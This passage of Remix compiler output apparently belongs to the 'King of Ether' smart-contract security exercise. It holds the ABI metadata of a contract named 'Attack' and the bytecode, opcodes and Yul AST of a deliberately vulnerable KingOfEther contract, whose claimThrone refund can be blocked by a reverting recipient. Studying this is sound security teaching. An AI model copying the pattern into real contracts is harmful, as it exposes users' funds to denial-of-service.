"internalType": "contract KingOfEther",
"name": "_kingOfEther",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "payable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/KingOfEther.sol": "Attack"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/KingOfEther.sol": {
"keccak256": "0x63034ce1c9b0cc53f86969c7940ebc52b24052d560f1de2d0d50817a007ea9ad",
"license": "MIT",
"urls": [
"bzz-raw://976d6cacf3cf2e2ab369985a9deded8420cf6a5bfdddb4fc2175c7f3f78d8693",
"dweb:/ipfs/QmTo51YaBCpCY5WrFsBD9LUPXrtttaRpcJUwRSvz5Gz73H"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b5061043b806100206000396000f3fe6080604052600436106100345760003560e01c806369deb7b714610039578063b69ef8a814610043578063cc181ca81461006e575b600080fd5b610041610099565b005b34801561004f57600080fd5b506100586101f6565b6040516100659190610239565b60405180910390f35b34801561007a57600080fd5b506100836101fc565b6040516100909190610295565b60405180910390f35b60015434116100dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100d490610333565b60405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660015460405161012690610384565b60006040518083038185875af1925050503d8060008114610163576040519150601f19603f3d011682016040523d82523d6000602084013e610168565b606091505b50509050806101ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101a3906103e5565b60405180910390fd5b34600181905550336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60015481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000819050919050565b61023381610220565b82525050565b600060208201905061024e600083018461022a565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061027f82610254565b9050919050565b61028f81610274565b82525050565b60006020820190506102aa6000830184610286565b92915050565b600082825260208201905092915050565b7f4e65656420746f20706179206d6f726520746f206265636f6d6520746865206b60008201527f696e670000000000000000000000000000000000000000000000000000000000602082015250565b600061031d6023836102b0565b9150610328826102c1565b604082019050919050565b6000602082019050818103600083015261034c81610310565b9050919050565b600081905092915050565b50565b600061036e600083610353565b91506103798261035e565b600082019050919050565b600061038f82610361565b9150819050919050565b7f4661696c656420746f2073656e64204574686572000000000000000000000000600082015250565b60006103cf6014836102b0565b91506103da82610399565b602082019050919050565b600060208201905081810360008301526103fe816103c2565b905091905056fea26469706673582212207a276dafb8e82de2d957ccf6f16b5aa60d55f60c31958b19a6eeaefc2dfc5b2c64736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x43B DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x34 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x69DEB7B7 EQ PUSH2 0x39 JUMPI DUP1 PUSH4 0xB69EF8A8 EQ PUSH2 0x43 JUMPI DUP1 PUSH4 0xCC181CA8 EQ PUSH2 0x6E JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x41 PUSH2 0x99 JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x4F JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x58 PUSH2 0x1F6 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x65 SWAP2 SWAP1 PUSH2 0x239 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x7A JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x83 PUSH2 0x1FC JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x90 SWAP2 SWAP1 PUSH2 0x295 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x1 SLOAD CALLVALUE GT PUSH2 0xDD JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0xD4 SWAP1 PUSH2 0x333 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH1 0x1 SLOAD PUSH1 0x40 MLOAD PUSH2 0x126 SWAP1 PUSH2 0x384 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0x163 JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x168 JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP SWAP1 POP DUP1 PUSH2 0x1AC JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x1A3 SWAP1 PUSH2 0x3E5 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST CALLVALUE PUSH1 0x1 DUP2 SWAP1 SSTORE POP CALLER PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x1 SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x233 DUP2 PUSH2 0x220 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x24E PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x22A JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x27F DUP3 PUSH2 0x254 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x28F DUP2 PUSH2 0x274 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x2AA PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x286 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4E65656420746F20706179206D6F726520746F206265636F6D6520746865206B PUSH1 0x0 DUP3 ADD MSTORE PUSH32 0x696E670000000000000000000000000000000000000000000000000000000000 PUSH1 0x20 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x31D PUSH1 0x23 DUP4 PUSH2 0x2B0 JUMP JUMPDEST SWAP2 POP PUSH2 0x328 DUP3 PUSH2 0x2C1 JUMP JUMPDEST PUSH1 0x40 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x34C DUP2 PUSH2 0x310 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x36E PUSH1 0x0 DUP4 PUSH2 0x353 JUMP JUMPDEST SWAP2 POP PUSH2 0x379 DUP3 PUSH2 0x35E JUMP JUMPDEST PUSH1 0x0 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x38F DUP3 PUSH2 0x361 JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4661696C656420746F2073656E64204574686572000000000000000000000000 PUSH1 0x0 DUP3 ADD MSTORE POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x3CF PUSH1 0x14 DUP4 PUSH2 0x2B0 JUMP JUMPDEST SWAP2 POP PUSH2 0x3DA DUP3 PUSH2 0x399 JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH1 0x0 DUP4 ADD MSTORE PUSH2 0x3FE DUP2 PUSH2 0x3C2 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 PUSH27 0x276DAFB8E82DE2D957CCF6F16B5AA60D55F60C31958B19A6EEAEFC 0x2D 0xFC JUMPDEST 0x2C PUSH5 0x736F6C6343 STOP ADDMOD 0xC STOP CALLER ",
"sourceMap": "58:364:0:-:0;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@balance_5": {
"entryPoint": 502,
"id": 5,
"parameterSlots": 0,
"returnSlots": 0
},
"@claimThrone_41": {
"entryPoint": 153,
"id": 41,
"parameterSlots": 0,
"returnSlots": 0
},
"@king_3": {
"entryPoint": 508,
"id": 3,
"parameterSlots": 0,
"returnSlots": 0
},
"abi_encode_t_address_to_t_address_fromStack": {
"entryPoint": 646,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb_to_t_string_memory_ptr_fromStack": {
"entryPoint": 962,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_t_stringliteral_b207399fc754c8666f0dd9b92668c6a80fcf52b4fa255474f6b5fc77d04d825f_to_t_string_memory_ptr_fromStack": {
"entryPoint": 784,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470_to_t_bytes_memory_ptr_nonPadded_inplace_fromStack": {
"entryPoint": 865,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_t_uint256_to_t_uint256_fromStack": {
"entryPoint": 554,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_packed_t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470__to_t_bytes_memory_ptr__nonPadded_inplace_fromStack_reversed": {
"entryPoint": 900,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_tuple_t_address__to_t_address__fromStack_reversed": {
"entryPoint": 661,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_tuple_t_stringliteral_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb__to_t_string_memory_ptr__fromStack_reversed": {
"entryPoint": 997,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_tuple_t_stringliteral_b207399fc754c8666f0dd9b92668c6a80fcf52b4fa255474f6b5fc77d04d825f__to_t_string_memory_ptr__fromStack_reversed": {
"entryPoint": 819,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": {
"entryPoint": 569,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"array_storeLengthForEncoding_t_bytes_memory_ptr_nonPadded_inplace_fromStack": {
"entryPoint": 851,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"array_storeLengthForEncoding_t_string_memory_ptr_fromStack": {
"entryPoint": 688,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 628,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 596,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 544,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"store_literal_in_memory_445140255c9d889994129d349e64078d6f76b4b37ec896948f7e858f9b8a0dcb": {
"entryPoint": 921,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"store_literal_in_memory_b207399fc754c8666f0dd9b92668c6a80fcf52b4fa255474f6b5fc77d04d825f": {
"entryPoint": 705,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
},
"store_literal_in_memory_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470": {
"entryPoint": 862,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:4260:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "52:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "62:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "73:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "62:7:1"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "34:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "44:7:1",
"type": ""
}
],
"src": "7:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "155:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "172:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "195:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "177:17:1"
},
"nodeType": "YulFunctionCall",
"src": "177:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "165:6:1"
},
"nodeType": "YulFunctionCall",
"src": "165:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "165:37:1"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "143:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "150:3:1",
"type": ""
}
],
"src": "90:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "312:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "322:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "334:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "345:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "330:3:1"
},
"nodeType": "YulFunctionCall",
"src": "330:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "322:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "402:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "415:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "426:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "411:3:1"
},
"nodeType": "YulFunctionCall",
"src": "411:17:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "358:43:1"
},
"nodeType": "YulFunctionCall",
"src": "358:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "358:71:1"
}
]
},
"name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "284:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "296:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "307:4:1",
"type": ""
}
],
"src": "214:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "487:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "497:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "512:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "519:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "508:3:1"
},
"nodeType": "YulFunctionCall",
"src": "508:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "497:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "469:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "479:7:1",
"type": ""
}
],
"src": "442:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "619:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "629:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "658:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "640:17:1"
},
"nodeType": "YulFunctionCall",
"src": "640:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "629:7:1"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "601:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "611:7:1",
"type": ""
}
],
"src": "574:96:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "741:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "758:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "781:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "763:17:1"
},
"nodeType": "YulFunctionCall",
"src": "763:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "751:6:1"
},
"nodeType": "YulFunctionCall",
"src": "751:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "751:37:1"
}
]
},
"name": "abi_encode_t_address_to_t_address_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "729:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "736:3:1",
"type": ""
}
],
"src": "676:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "898:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "908:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "920:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "931:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "916:3:1"
},
"nodeType": "YulFunctionCall",
"src": "916:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "908:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "988:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1001:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1012:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "997:3:1"
},
"nodeType": "YulFunctionCall",
"src": "997:17:1"
}
],
"functionName": {
"name": "abi_encode_t_address_to_t_address_fromStack",
"nodeType": "YulIdentifier",
"src": "944:43:1"
},
"nodeType": "YulFunctionCall",
"src": "944:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "944:71:1"
}
]
},
"name": "abi_encode_tuple_t_address__to_t_address__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "870:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "882:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "893:4:1",
"type": ""
}
],
"src": "800:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1124:73:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1141:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "1146:6:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1134:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1134:19:1"
},
"nodeType": "YulExpressionStatement",
"src": "1134:19:1"
},
{
"nodeType": "YulAssignment",
"src": "1162:29:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1181:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1186:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1177:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1177:14:1"
},
"variableNames": [
{
"name": "updated_pos",
"nodeType": "YulIdentifier",
"src": "1162:11:1"
}
]
}
]
},
"name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "1096:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "1101:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "updated_pos",
"nodeType": "YulTypedName",
"src": "1112:11:1",
"type": ""
}
],
"src": "1028:169:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1309:116:1",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "1331:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1339:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1327:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1327:14:1"
},
{
"hexValue": "4e65656420746f20706179206d6f726520746f206265636f6d6520746865206b",
"kind": "string",
"nodeType": "YulLiteral",
"src": "1343:34:1",
"type": "",
"value": "Need to pay more to become the k"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1320:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1320:58:1"
},
"nodeType": "YulExpressionStatement",
"src": "1320:58:1"
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "1399:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1407:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1395:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1395:15:1"
},
{
"hexValue": "696e67",
"kind": "string",
"nodeType": "YulLiteral",
"src": "1412:5:1",
"type": "",
"value": "ing"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1388:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1388:30:1"
},
"nodeType": "YulExpressionStatement",
"src": "1388:30:1"
}
]
},
"name": "store_literal_in_memory_b207399fc754c8666f0dd9b92668c6a80fcf52b4fa255474f6b5fc77d04d825f",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "1301:6:1",
"type": ""
}
],
"src": "1203:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1577:220:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1587:74:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1653:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1658:2:1",
"type": "",
"value": "35"
}
],
"functionName": {
"name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "1594:58:1"
},
"nodeType": "YulFunctionCall",
"src": "1594:67:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1587:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1759:3:1"
}
],
"functionName": {
"name": "store_literal_in_memory_b207399fc754c8666f0dd9b92668c6a80fcf52b4fa255474f6b5fc77d04d825f",
"nodeType": "YulIdentifier",
"src": "1670:88:1"
},
"nodeType": "YulFunctionCall",
"src": "1670:93:1"
},
"nodeType": "YulExpressionStatement",
"src": "1670:93:1"
},
{
"nodeType": "YulAssignment",
"src": "1772:19:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "1783:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1788:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1779:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1779:12:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "1772:3:1"
}
]
}
]
},
"name": "abi_encode_t_stringliteral_b207399fc754c8666f0dd9b92668c6a80fcf52b4fa255474f6b5fc77d04d825f_to_t_string_memory_ptr_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "1565:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "1573:3:1",
"type": ""
}
],
"src": "1431:366:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1974:248:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1984:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1996:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2007:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1992:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1992:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "1984:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "2031:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2042:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2027:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2027:17:1"
},
{
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "2050:4:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "2056:9:1"
}
],
"functionName": {
"name": "sub",
